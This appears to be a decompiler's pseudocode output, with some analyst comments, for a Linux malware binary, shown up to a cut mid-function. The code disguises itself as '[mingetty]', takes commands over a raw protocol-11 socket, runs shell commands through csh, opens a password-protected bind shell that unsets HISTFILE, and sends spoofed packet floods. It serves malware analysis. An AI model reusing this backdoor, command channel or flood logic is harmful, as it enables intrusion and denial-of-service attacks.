/*	This file was automatically created by
 *	Reverse Engineering Compiler 1.6 (C) Giampiero Caprino (Mar 31 2002)
 *	Input file: '../reverse/the-binary'
 */

/*	Procedure: 0x08048080 - 0x08048087
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08048080()
{



    return(L080675A8());
}

extern /* addr: 08048088 */  /*	Procedure: 0x08048088 - 0x0804808F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08048088()
/*	Procedure: 0x08048090 - 0x0804810F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

__entry_point__()
{
	/* unknown */ void  Vfffffff4;



    (restore)ecx;
    ebx = esp;
    eax = esp;
    eax = eax + ecx + ecx + ecx + ecx + 4;
    (save)0;
    (save)0;
    (save)0;
    ebp = esp;
    (save)eax;
    (save)ebx;
    (save)ecx;
    personality(0)
    *L0806D228 = Vfffffff4;
    L0805756C( *L08078B18 & 65535);
    L08056D44();
    L08055F08(0x80675d0);
    L08048080();
    main();
    exit?(eax);
    for((restore)ebx; 1; asm("int 0x80");) {
        eax = 1;
    }
    goto L08048101;
}

/*	Procedure: 0x08048110 - 0x0804812D
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 4
 */

L08048110()
{
	/* unknown */ void  ebx;



    ebx = 134714040;
    if(*L080792B8 != 0) {
        do {
            eax = *( *ebx)();
            ebx = ebx + 4;
        } while(*ebx != 0);
    }
}

/*	Procedure: 0x0804812E - 0x08048130
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804812E()
{



}

/*	Procedure: 0x08048131 - 0x08048133
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08048131()
{



}

/*	Procedure: 0x08048134 - 0x08048ECB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

main()
{
    int sock;		/* at (ebp - 17608) */
    char buffer[2048];	/* at (ebp - 2048) */
    unsigned char *protocol; /* at (ebp - 17616 */
    short *data1;	/* at (ebp - 17620) */
    char *realdata;	/* at (ebp - 17624) */
    char *decbuf;	/* at (ebp - 17632) */	/* the decoded buffer */
    char tmpbuf[2048];  /* eat (ebp - 4096) */



    (save)ebp;
    ebp = esp;
    esp = esp - 17648;
    (save)edi;
    (save)esi;
    (save)ebx;
    ebx = *(ebp + 12);
    *(ebp + -17600) = 1;
    protocol = & (((struct iphdr *) buffer) -> protocol);
    data1 = buffer + sizeof(struct iphdr);
    realdata = buffer + sizeof(struct iphdr) + sizeof(data1);
    *(ebp + -17604) = 16;
    if(geteuid() != 0) {
        exit?(-1);
    }
    edx = *ebx;
    al = 0;
    edi = edx;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    (save) !ecx - 1;
    (save)0;
    (save)edx;
    L08057764();
    edx = *ebx;
    *edx = *"[mingetty]";
    *(edx + 4) = *"getty]";
    *(edx + 8) = *"y]";
    *(edx + 10) = *"";
    (save)1;
    sigaction?(SIGCHLD,);
    esp = esp + 20;
    if(fork() != 0) {		/* fork, and exit in the parent */
        exit?(0);
    }
    setsid();
    (save)1;
    sigaction?(SIGCHLD,);
    esp = esp + 8;
    if(fork() != 0) {
        exit?(0);
    }
    chdir("/");
    close(0);
    close(1);
    close(2);
    *L0807E774 = 0;
    *L0807E770 = 0;
    *L0807E778 = 0;
    time(0);
    esp = esp + 20;
    L080559A0(eax);
    sock = socket(PF_INET, SOCK_RAW, 0xb);
    (save)1;
    sigaction?(SIGHUP, );
    (save)1;
    sigaction?(SIGTERM, );
    (save)1;
    (save)17;
    sigaction?(SIGCHLD, );
    esp = esp + 36;
    sigaction?(SIGCHLD, 1);
    decbuf = tmpbuf;
    for(*(ebp + -17636) = ebp + -4536; 1; sleep?(10000)) {
        int len = recv( sock, buffer, 2048, 0);
        if(*protocol == 11 && *data1 == 2 && len > 200) {
            decode(len - 22, realdata, decbuf);
            eax = tmpbuf[1] - 1;
            if(eax <= 11) {
                goto *(eax * 4 + 0x804832c)[L0804835c, L080483f0, L08048590, L0804871c, L080487c8, L08048894, L08048acc, L08048b58, L08048b80, L08048c34, L08048d08, L08048de4, ]goto ( *(eax * 4 + 0x804832c));
                al = *L080675E5;
                buffer[0] = al;
                eax = *L0807E77C;
                buffer[0] = al;
                buffer[1] = 1;
                buffer[2] = 7;
                if(*L0807E774 == 0) {
L080483a0:
                    buffer[3] = 0;
                } else {
                    buffer[3] = 1;
                    buffer[4] = *L0807E778;
                }
                (save) *(ebp + -17632);
                (save)ebp + -2048;
                (save)400;
                encode(400, buffer, decbuf);
                L08056058();
                ecx = 201;
                asm("cdq");
                (save)ecx / ecx % ecx / ecx + 400;
                (save) *(ebp + -17632);
                (save) *(ebp + -17636);
                send_reply();
                esp = esp + 24;
            }
        }
L08048eb8:
    }
    goto L080483a0;
    *L0807E784 = *(ebp + -4094) & 255;
    *L0807E780 = *(ebp + -2032);
    *L0807E781 = *(ebp + -2031);
    *L0807E782 = *(ebp + -2030);
    *L0807E783 = *(ebp + -2029);
    time(0);
    L080559A0( *L0807E783);
    L08056058();
    ecx = 10;
    asm("cdq");
    edi = ecx / ecx % ecx / ecx;
    ebx = 0;
    esi = 0;
L08048454:
    if(ebx != edi) {
        if(*L0807E784 == 2) {
            al = *(ebp + ebx * 4 + -4093);
            edx = *(ebp + -17636);
            *(edx + esi) = al;
            *(esi + edx + 1) = *(ebp + ebx * 4 + -4092);
            *(esi + edx + 2) = *(ebp + ebx * 4 + -4091);
            al = *(ebp + ebx * 4 + -4090);
        } else {
            eax = L08056058();
            *(ebp + -17648) = eax;
            if(eax < 0) {
                *(ebp + -17648) = eax + 255;
            }
            *(esi + *(ebp + -17636)) = al;
            eax = L08056058();
            *(ebp + -17648) = eax;
            if(eax < 0) {
                *(ebp + -17648) = eax + 255;
            }
            *(esi + *(ebp + -17636) + 1) = al;
            eax = L08056058();
            *(ebp + -17648) = eax;
            if(eax < 0) {
                *(ebp + -17648) = eax + 255;
            }
            *(esi + *(ebp + -17636) + 2) = al;
            eax = L08056058();
            *(ebp + -17648) = eax;
            if(eax < 0) {
                *(ebp + -17648) = eax + 255;
            }
            edx = *(ebp + -17636);
        }
        *(esi + edx + 3) = al;
    }
    esi = esi + 4;
    ebx = ebx + 1;
    if(ebx <= 9) {
        goto L08048454;
    }
    eax = *L0807E784;
    if(eax == 0) {
        edi = 0;
    }
    if(eax == 2) {
        goto L08048eb8;
    }
    edi = edi << 2;
    *(ebp + -17644) = edi;
    al = *(ebp + -4093);
    ecx = *(ebp + -17636);
    *(edi + ecx) = al;
    al = *(ebp + -4092);
    edx = *(ebp + -17644);
    *(edx + ecx + 1) = al;
    *(edx + ecx + 2) = *(ebp + -4091);
    *(edx + ecx + 3) = *(ebp + -4090);
    goto L08048eb8;
    eax = fork();
    *L0807E770 = eax;
    if(*L0807E770 != 0) {
        goto L08048eb8;
    }
    setsid();
    (save)1;
    sigaction(SIGCHLD,);
    esp = esp + 8;
    if(fork() != 0) {
        (save)10;
        L080556CC();
        (save)9;
        (save) *L0807E770;
        L080572B0();
        exit?(0);
    }
    ebx = 0;
L080485dc:
    *(ebx + ebp + -4096) = *(ebx + ebp + -4094);
    ebx = ebx + 1;
    if(ebx <= 397) {
        goto L080485dc;
    }
    ebx = ebp + -2048;
    sprintf();
    system();
    eax = fopen("/tmp/.hj237349", "rb", ebx, ebx, "/bin/csh -f -c \"%s\" 1> %s 2>&1", *(ebp + -17632), "/tmp/.hj237349");
    *(ebp + -17628) = eax;
    if(*(ebp + -17628) != 0) {
        edi = 0;
        *(ebp + -17640) = ebp + -4496;
L08048644:
        L0804F6D4(ebp + -2048, 1, 398, *(ebp + -17628));
        *(eax + ebp + -2048) = 0;
        ebx = 0;
L08048670:
        *(ebx + ebp + -4094) = *(ebx + ebp + -2048);
        ebx = ebx + 1;
        if(ebx <= 397) {
            goto L08048670;
        }
        if(edi == 0) {
            *(ebp + -4095) = 3;
            edi = 1;
        } else {
            *(ebp + -4095) = 4;
        }
        (save) *(ebp + -17640);
        (save) *(ebp + -17632);
        (save)400;
        encode();
        L08056058();
        ecx = 201;
        asm("cdq");
        ebx = ecx / ecx % ecx / ecx;
        (save)ebx + 400;
        (save) *(ebp + -17640);
        (save) *(ebp + -17636);
        send_reply();
        (save)400000;
        sleep?();
        esp = esp + 28;
        if(esi != 0) {
            goto L08048644;
        }
        L0804F540();
        unlink("/tmp/.hj237349", *(ebp + -17628));
    }
    (save)0;
    exit();
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 4;
    eax = fork();
    *L0807E774 = eax;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    edi = ebp + -17596;
    esi = ebp + -4096;
    asm("cld");
    ecx = 63;
    asm("rep movsd");
    *edi = *esi;
    edi = edi + 4;
    *edi = *(esi + 4);
    edi = edi + 1;
    esi = esi + 1;
    ebx = 0;
L08048760:
    *(ebx + ebp + -17596) = *(ebx + ebp + -17587);
    ebx = ebx + 1;
    if(ebx <= 254) {
        goto L08048760;
    }
    L08049174( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, 0, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, ebp + -17596);
    (save)0;
    exit();
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 5;
    eax = fork();
    *L0807E774 = eax;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    edi = ebp + -17596;
    esi = ebp + -4096;
    asm("cld");
    ecx = 63;
    asm("rep movsd");
    *edi = *esi;
    edi = edi + 4;
    *edi = *(esi + 4);
    edi = edi + 1;
    esi = esi + 1;
    ebx = 0;
L0804880c:
    *(ebx + ebp + -17596) = *(ebx + ebp + -17583);
    ebx = ebx + 1;
    if(ebx <= 254) {
        goto L0804880c;
    }
    L080499F4( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, ebp + -17596);
    exit(0);
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 6;
    (save)1;
    sigaction?(SIGCHLD, );
    eax = fork();
    *L0807E774 = eax;
    esp = esp + 8;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    setsid();
    sigaction?(SIGCHLD, 1);
    *(ebp + -4552) = 2;
    *(ebp + -4550) = 61786;
    *(ebp + -4548) = 0;
    *(ebp + -17600) = 1;
    socket(PF_INET, SOCK_STREAM, IPPROTO_IP);	/* standard tcp sock */
    *(ebp + -17608) = eax;
    (save)1;
    sigaction?(SIGCHLD,);
    (save)1;
    sigaction?(SIGCHLD,);
    (save)1;
    sigaction?(SIGHUP,);
    esp = esp + 36;
    sigaction?();
    sigaction?();
    L08056C9C( *(ebp + -17608), 1, 2, ebp + -17600, 4, 2, 1, 15, 1);
    L08056A74();
    L08056B04( *(ebp + -17608), 3, *(ebp + -17608), ebp + -4552, 16);
L08048984:
    eax = L08056A2C( *(ebp + -17608), ebp + -4568, ebp + -17604);
    *(ebp + -17612) = eax;
    if(*(ebp + -17612) != 0) {
        if(fork() != 0) {
            goto L08048984;
        }
        recv( *(ebp + -17612), ebp + -17340, 19, 0);
        ebx = 0;
L080489d4:
        al = *(ebx + ebp + -17340);
        if(al == 10 || al == 13) {
            *(ebx + ebp + -17340) = 0;
        } else {
            *(ebx + ebp + -17340) = al;
            *(ebx + ebp + -17340) = *(ebx + ebp + -17340) + 1;
        }
        ebx = ebx + 1;
        if(ebx <= 18) {
            goto L080489d4;
        }
        edi = "TfOjG";
        ecx = 6;
        asm("cld");
        asm("repe cmpsb");
        if(!(esi = ebp + -17340)) {
            (save)0;
            (save)4;
            (save)0x806761d;
            (save) *(ebp + -17612);
            L08056BF0();
            (save) *(ebp + -17612);
            close();
            exit?(1);
        }
        L0805718C();
        L0805718C();
        L0805718C();
        setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1, *(ebp + -17612), 2, *(ebp + -17612), 1, *(ebp + -17612), 0);
        (save)"HISTFILE";
        L0804A48C();
        (save)1;
        (save)"linux";
        (save)"TERM";
        setenv();
        (save)0;
        (save)"sh";
        (save)"/bin/sh";
        L080555FC();
        (save) *(ebp + -17612);
        close();
        esp = esp + 32;
        exit?(0);
    }
    exit?(0);
    eax = fork();
    *L0807E770 = eax;
    if(*L0807E770 != 0) {
        goto L08048eb8;
    }
    setsid();
    (save)1;
    sigaction?(SIGCHLD,);
    esp = esp + 8;
    if(fork() != 0) {
        (save)1200;
        L080556CC();
        (save)9;
        (save) *L0807E770;
        L080572B0();
        exit?(0);
    }
    ebx = 0;
L08048b1c:
    *(ebx + ebp + -4096) = *(ebx + ebp + -4094);
    ebx = ebx + 1;
    if(ebx <= 397) {
        goto L08048b1c;
    }
    (save) *(ebp + -17632);
    (save)"/bin/csh -f -c \"%s\" ";
    ebx = ebp + -2048;
    (save)ebx;
    sprintf();
    (save)ebx;
    system();
    exit(0);
    eax = *L0807E774;
    if(eax == 0) {
        goto L08048eb8;
    }
    L080572B0(eax, 9);
    *L0807E774 = 0;
    goto L08048eb8;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 9;
    eax = fork();
    *L0807E774 = eax;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    edi = ebp + -17596;
    esi = ebp + -4096;
    asm("cld");
    ecx = 63;
    asm("rep movsd");
    *edi = *esi;
    edi = edi + 4;
    *edi = *(esi + 4);
    edi = edi + 1;
    esi = esi + 1;
    ebx = 0;
L08048bc4:
    *(ebx + ebp + -17596) = *(ebx + ebp + -17586);
    ebx = ebx + 1;
    if(ebx <= 254) {
        goto L08048bc4;
    }
    L08049174( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, ebp + -17596);
    exit(0);
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 10;
    eax = fork();
    *L0807E774 = eax;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    edi = ebp + -17596;
    esi = ebp + -4096;
    asm("cld");
    ecx = 63;
    asm("rep movsd");
    *edi = *esi;
    edi = edi + 4;
    *edi = *(esi + 4);
    edi = edi + 1;
    esi = esi + 1;
    ebx = 0;
L08048c78:
    *(ebx + ebp + -17596) = *(ebx + ebp + -17582);
    ebx = ebx + 1;
    if(ebx <= 254) {
        goto L08048c78;
    }
    L08049D40( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, 0, *(ebp + -4083) & 255, ebp + -17596);
    exit(0);
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 11;
    eax = fork();
    *L0807E774 = eax;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    edi = ebp + -17596;
    esi = ebp + -4096;
    asm("cld");
    ecx = 63;
    asm("rep movsd");
    *edi = *esi;
    edi = edi + 4;
    *edi = *(esi + 4);
    edi = edi + 1;
    esi = esi + 1;
    ebx = 0;
L08048d4c:
    *(ebx + ebp + -17596) = *(ebx + ebp + -17581);
    ebx = ebx + 1;
    if(ebx <= 254) {
        goto L08048d4c;
    }
    L08049D40( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, *(ebp + -4083) & 255, *(ebp + -4082) & 255, ebp + -17596);
    exit(0);
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    *L0807E778 = 12;
    eax = fork();
    *L0807E774 = eax;
    if(*L0807E774 != 0) {
        goto L08048eb8;
    }
    edi = ebp + -17596;
    esi = ebp + -4096;
    asm("cld");
    ecx = 63;
    asm("rep movsd");
    *edi = *esi;
    edi = edi + 4;
    *edi = *(esi + 4);
    edi = edi + 1;
    esi = esi + 1;
    ebx = 0;
L08048e28:
    *(ebx + ebp + -17596) = *(ebx + ebp + -17582);
    ebx = ebx + 1;
    if(ebx <= 254) {
        goto L08048e28;
    }
    L08049564( *(ebp + -4094) & 255, *(ebp + -4093) & 255, *(ebp + -4092) & 255, *(ebp + -4091) & 255, *(ebp + -4090) & 255, *(ebp + -4089) & 255, *(ebp + -4088) & 255, *(ebp + -4087) & 255, *(ebp + -4086) & 255, *(ebp + -4085) & 255, *(ebp + -4084) & 255, *(ebp + -4083) & 255, ebp + -17596);
    exit(0);
    goto L08048eb8;
}

/*	Procedure: 0x08048ECC - 0x08048F2E
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

send_reply(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    if(*L0807E784 != 0) {
        esi = A8 + 36;
        do {
            sleep?();
            send_packet(0x807e780, ebx, Ac, A10, 4000);
            ebx = ebx + 4;
        } while(ebx <= esi);
    } else {
        send_packet(0x807e780, A8, Ac, A10);
    }
    return(1);
}

/*	Procedure: 0x08048F2F - 0x08048F92
 *	Argument size: 0
 *	Local size: 8
 *	Save regs size: 4
 */

L08048F2F(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  Vfffffffe;



    edx = Ac;
    ebx = A8;
    ecx = 0;
    Vfffffffe = 0;
    do {
        ecx = ecx + ( *ebx & 65535);
        ebx = ebx + 2;
        edx = edx + -2;
    } while(edx > 1);
    if(edx == 1) {
        Vfffffffe = *ebx;
        ecx = ecx + (Vfffffffe & 65535);
    }
    edx = ecx >> 16;
    ecx = (cx & 65535) + edx;
    Vfffffffe = !(ecx + (ecx >> 16));
    return(Vfffffffe & 65535);
}

/*	Procedure: 0x08048F93 - 0x08048F93
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08048F93()
{



}

/*	Procedure: 0x08048F94 - 0x08049135
 *	Argument size: 16
 *	Local size: 68
 *	Save regs size: 12
 */

send_packet(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	int sock;	/* unknown  void  Vffffffbc; */
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffce;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff2;
	/* unknown */ void  Vfffffff4;



    ebx = Ac;
    sock = socket(PF_INET, SOCK_RAW, 0xff);
    if(sock != -1) {
        esi = L0805BD74(A14 + 23);
        if(esi != 0) {
            goto L08048fd8;	/* don't return */
        }
    }
    eax = 0;
    goto L0804912c;
L08048fd8:
    Vffffffc4 = esi;
    Vffffffc0 = esi + 20;
    Vffffffc8 = esi + 22;
    *(esi + 12) = *A8;
    *(esi + 13) = *(A8 + 1);
    *(esi + 14) = *(A8 + 2);
    *(esi + 15) = *(A8 + 3);
    *(esi + 16) = *ebx;
    *(esi + 17) = *(ebx + 1);
    *(esi + 18) = *(ebx + 2);
    *(esi + 19) = *(ebx + 3);
    ebx = & Vffffffd0;
    sprintf();
    Vfffffff4 = L08049138(ebx, ebx, "%d.%d.%d.%d", *ebx & 255, *(ebx + 1) & 255, *(ebx + 2) & 255, *(ebx + 3) & 255);
    Vfffffff2 = 10;
    Vfffffff0 = 2;
    *esi = 69;
    *(esi + 8) = 250;
    *(esi + 9) = 11;
    ax = A14 + 22;
    asm("xchg al,ah");
    *(esi + 2) = ax;
    *(esi + 1) = 0;
    L08056058();
    asm("xchg al,ah");
    *(esi + 4) = ax;
    *(esi + 6) = 0;
    *(esi + 10) = 0;
    edx = 20;
    ecx = esi;
    ebx = 0;
    Vffffffce = 0;
    do {
        ebx = ebx + ( *ecx & 65535);
        ecx = ecx + 2;
        edx = edx + -2;
    } while(edx > 1);
    != ? 0x80490b1 : ;
    Vffffffce = *ecx;
    ebx = ebx + (Vffffffce & 65535);
    edx = ebx >> 16;
    ebx = (bx & 65535) + edx;
    ax = !(ebx + (ebx >> 16));
    Vffffffce = ax;
    *(Vffffffc4 + 10) = Vffffffce;
    *Vffffffc0 = 3;
    L0805652C(Vffffffc8, A10, A14);
    if(sendto(sock, esi, A14 + 22, 0, & Vfffffff0, 16) == -1) {
        (save)esi;
        L0805C290();
        eax = 0;
    } else {
        close();
        L0805C290(esi, sock);
        eax = 1;
    }
L0804912c:
    esp = ebp - 80;
}

/*	Procedure: 0x08049136 - 0x08049137
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08049136()
{



}

/*	Procedure: 0x08049138 - 0x08049171
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08049138(A8)
/* unknown */ void  A8;
{



    ecx = L0804BF80(A8);
    if(ecx != 0) {
        edx = *( *(ecx + 16));
        L0805652C(0x80792bc, edx, *(ecx + 12));
        return(*L080792BC);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08049172 - 0x08049173
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08049172()
{



}

/*	Procedure: 0x08049174 - 0x08049560
 *	Argument size: 36
 *	Local size: 1652
 *	Save regs size: 12
 */

L08049174(A8, Ac, A10, A14, A18, A1c, A20, A24, A28)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
/* unknown */ void  A28;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffff98c;
	/* unknown */ void  Vfffff990;
	/* unknown */ void  Vfffff994;
	/* unknown */ void  Vfffff998;
	/* unknown */ void  Vfffff99c;
	/* unknown */ void  Vfffff9a0;
	/* unknown */ void  Vfffff9a4;
	/* unknown */ void  Vfffff9a8;
	/* unknown */ void  Vfffff9ac;
	/* unknown */ void  Vfffff9b0;
	/* unknown */ void  Vfffff9b4;
	/* unknown */ void  Vfffff9b8;
	/* unknown */ void  Vfffff9bc;
	/* unknown */ void  Vfffff9c2;
	/* unknown */ void  Vfffff9c4;
	/* unknown */ void  Vfffff9c8;
	/* unknown */ void  Vfffff9d4;
	/* unknown */ void  Vfffff9d5;
	/* unknown */ void  Vfffff9d6;
	/* unknown */ void  Vfffff9d7;
	/* unknown */ void  Vfffff9dc;
	/* unknown */ void  Vfffff9e4;
	/* unknown */ void  Vfffffdd8;
	/* unknown */ void  Vfffffdda;
	/* unknown */ void  Vfffffddc;
	/* unknown */ void  Vfffffde8;
	/* unknown */ void  Vffffffdc;



    Vfffff9bc = A8;
    Vfffff9b8 = Ac;
    Vfffff9b4 = A10;
    Vfffff9b0 = A14;
    edi = & Vffffffdc;
    esi = 0x8067698;
    asm("cld");
    ecx = 9;
    asm("rep movsd");
    Vfffff9ac = 1;
    edi = & Vfffffde8;
    esi = 0x80676bc;
    asm("cld");
    ecx = 125;
    asm("rep movsd");
    esi = & Vfffff9c8;
    Vfffff9a4 = & Vfffff9dc;
    Vfffff9a0 = & Vfffff9e4;
    Vfffffdd8 = 2;
    Vfffffdda = 0;
    if(A18 != 0) {
        A18 = A18 - 1;
    }
    eax = socket(PF_INET, SOCK_RAW, 0xff);
    Vfffff9a8 = eax;
    if(Vfffff9a8 > 0) {
        Vfffff99c = 0;
        Vfffff998 = 0;
        L08057764(esi, 0, 1024);
        while(1) {
            edi = 0;
            if(A24 != 0 && Vfffff998 <= 0) {
                edx = L0804BF80(A28);
                if(edx != 0) {
L08049288:
                    L08056480( *( *(edx + 16)), & Vfffff9c4, 4);
                    *(esi + 12) = Vfffff9c4;
                    Vfffff998 = 40000;
                } else {
                    L080556CC(600);
                    edi = 1;
                }
            }
            if(edi != 0) {
                continue;
            }
            edi = 0;
            Vfffff990 = 0;
            do {
                if(Vfffff9ac != 1) {
                    edx = 0;
                } else {
                    Vfffff9ac = 0;
                    L08055E38();
                    ebx = 8000;
                    asm("cdq");
                    edx = ebx / ebx % ebx / ebx;
                }
                if(*(edx * 4 + 0x806d22c) != 0) {
                    Vfffff994 = edx * 4 + 0x806d22c;
                    do {
                        Vfffffddc = *Vfffff994;
                        edx = ebp + Vfffff990 + -536;
                        L0805652C(Vfffff9a0, edx, *(ebp + edi * 4 - 36));
                        L08055E38();
                        ebx = 255;
                        asm("cdq");
                        edx = ebx / ebx % ebx / ebx;
                        *Vfffff9a0 = dl;
                        L08055E38();
                        ebx = 255;
                        asm("cdq");
                        edx = ebx / ebx % ebx / ebx;
                        *(Vfffff9a0 + 1) = dl;
                        if(A1c != 0 || A20 != 0) {
                            ax = (A1c << 8) + A20;
                        } else {
                            L08055E38();
                            ebx = 30000;
                            asm("cdq");
                            edx = ebx / ebx % ebx / ebx;
                            eax = edx;
                        }
                        asm("xchg al,ah");
                        *Vfffff9a4 = ax;
                        ebx = Vfffff9a4;
                        *(ebx + 2) = 13568;
                        ax = *(ebp + edi * 4 - 36) + 8;
                        asm("xchg al,ah");
                        *(ebx + 4) = ax;
                        *(ebx + 6) = 0;
                        if(A24 == 0) {
                            Vfffff9d4 = Vfffff9bc;
                            Vfffff9d5 = Vfffff9b8;
                            Vfffff9d6 = Vfffff9b4;
                            Vfffff9d7 = Vfffff9b0;
                        }
                        *(esi + 16) = *Vfffff994;
                        *esi = 69;
                        L08055E38();
                        ebx = 130;
                        asm("cdq");
                        *(esi + 8) = ebx / ebx % ebx / ebx + 120;
                        L08055E38();
                        ebx = 255;
                        asm("cdq");
                        *(esi + 4) = ebx / ebx % ebx / ebx;
                        *(esi + 9) = 17;
                        *(esi + 6) = 0;
                        ax = *(ebp + edi * 4 - 36) + 28;
                        asm("xchg al,ah");
                        *(esi + 2) = ax;
                        *(esi + 10) = 0;
                        edx = 20;
                        Vfffff98c = & Vfffff9c8;
                        ecx = 0;
                        Vfffff9c2 = 0;
                        do {
                            ebx = Vfffff98c;
                            ecx = ecx + ( *ebx & 65535);
                            ebx = ebx + 2;
                            Vfffff98c = ebx;
                            edx = edx + -2;
                        } while(edx > 1);
                        != ? 0x804948b : ;
                        Vfffff9c2 = *ebx;
                        ecx = ecx + (Vfffff9c2 & 65535);
                        edx = ecx >> 16;
                        ecx = (cx & 65535) + edx;
                        ax = !(ecx + (ecx >> 16));
                        Vfffff9c2 = ax;
                        *(esi + 10) = Vfffff9c2;
                        sendto(Vfffff9a8, & Vfffff9c8, *(ebp + edi * 4 - 36) + 28, 0, & Vfffffdd8, 16);
                        if(A18 != 0) {
                            if(Vfffff99c != A18) {
                                Vfffff99c = Vfffff99c + 1;
                                goto L0804951a;
                            }
                            sleep?(300);
                            Vfffff99c = 0;
                        } else {
                            (save)300;
                            sleep?();
                        }
                        Vfffff998 = Vfffff998 - 1;
L0804951a:
                        Vfffff994 = Vfffff994 + 4;
                    } while(*Vfffff994 != 0);
                }
                Vfffff990 = Vfffff990 + 50;
                edi = edi + 1;
            } while(edi <= 8);
        }
        goto L08049288;
    }
    *L0807E774 = 0;
    esp = ebp + -1664;
    return(0);
}

/*	Procedure: 0x08049561 - 0x08049563
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08049561()
{



}

/*	Procedure: 0x08049564 - 0x080499F0
 *	Argument size: 52
 *	Local size: 1676
 *	Save regs size: 12
 */

L08049564(A8, Ac, A10, A14, A18, A1c, A20, A24, A28, A2c, A30, A34, A38)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
/* unknown */ void  A28;
/* unknown */ void  A2c;
/* unknown */ void  A30;
/* unknown */ void  A34;
/* unknown */ void  A38;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffff974;
	/* unknown */ void  Vfffff978;
	/* unknown */ void  Vfffff97c;
	/* unknown */ void  Vfffff980;
	/* unknown */ void  Vfffff984;
	/* unknown */ void  Vfffff988;
	/* unknown */ void  Vfffff98c;
	/* unknown */ void  Vfffff990;
	/* unknown */ void  Vfffff994;
	/* unknown */ void  Vfffff998;
	/* unknown */ void  Vfffff99c;
	/* unknown */ void  Vfffff9a0;
	/* unknown */ void  Vfffff9a4;
	/* unknown */ void  Vfffff9a8;
	/* unknown */ void  Vfffff9ac;
	/* unknown */ void  Vfffff9b2;
	/* unknown */ void  Vfffff9b4;
	/* unknown */ void  Vfffff9b8;
	/* unknown */ void  Vfffff9d8;
	/* unknown */ void  Vfffff9e4;
	/* unknown */ void  Vfffff9e5;
	/* unknown */ void  Vfffff9e6;
	/* unknown */ void  Vfffff9e7;
	/* unknown */ void  Vfffff9e8;
	/* unknown */ void  Vfffff9e9;
	/* unknown */ void  Vfffff9ea;
	/* unknown */ void  Vfffff9eb;
	/* unknown */ void  Vfffff9ec;
	/* unknown */ void  Vfffff9f4;
